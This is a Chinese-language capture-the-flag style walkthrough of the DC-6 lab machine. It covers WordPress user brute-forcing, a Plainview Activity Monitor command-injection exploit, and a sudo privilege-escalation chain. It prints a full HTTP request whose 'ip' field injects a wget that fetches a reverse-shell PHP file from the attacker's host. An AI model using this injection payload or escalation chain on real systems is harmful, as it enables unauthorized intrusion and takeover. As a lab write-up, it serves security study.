Post

DC6 Walkthrough

wordpress后台插件打点,sudo提权

Recon

这台机器仅开放标准端口的ssh和http

image-20251002154901463

shell as www-data by wordpress-plugin

访问80端口会被重定向到http://wordy

image-20251002155104660

/etc/hosts添加对应ip

image-20251002160700459

目录扫描和web访问都能看出这是一个wordpress

image-20251002160621157

image-20251002160304022

wpscan -e u枚举用户,存在5个用户,开始爆破

image-20251002204707376

得到mark:helpdesk01,登录成功

image-20251002204814739

nuclei发现存在plainview查看,searchsploit查找exp

image-20251002210845928

使用50110.pygetshell

image-20251002210948905

工具得到的shell很难用,proxychains4抓包得到数据包,修改exp使用wget落地reverse.php反弹shell

1
2
3
4
5
6
7
8
9
10
POST /wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools HTTP/1.1
Host: 192.168.2.127
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_14014489b649086e51cacb340bafe656=mark%7C1759586016%7CgQ3rqOofN0n2rjazORoZgIY4P2D1qEfngm7F8oZLUMq%7C145e9b1f7b967b5bd8576b6300809fb63b0997f5ea6643f144973c73f6a3bec8; wordpress_logged_in_14014489b649086e51cacb340bafe656=mark%7C1759586016%7CgQ3rqOofN0n2rjazORoZgIY4P2D1qEfngm7F8oZLUMq%7C850410f1b1d30e86ad3ea01c7fa5e0ec88a78de816546dde72cabee931cadcb7
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

ip=google.fr+%7C+wget http://192.168.2.100:8000/reverse.php&lookup=lookup

image-20251002221315193

shell as graham by password leaks

例行检查,在/home/mark/stuff下发现things-to-do.txt,其中包含graham用户密码

image-20251002222901368

sudo -l发现能以jens用身份执行/home/jens/backups.sh

image-20251002222956186

shell as jens by backups.sh

graham用户有权限修改backups.sh,那么直接bash -p得到jens用户shell即可

image-20251002223811518

shell as root by sudo

jens用户能以root身份执行nmap,那么直接提权即可

image-20251002224050535

This post is licensed under CC BY 4.0 by the author.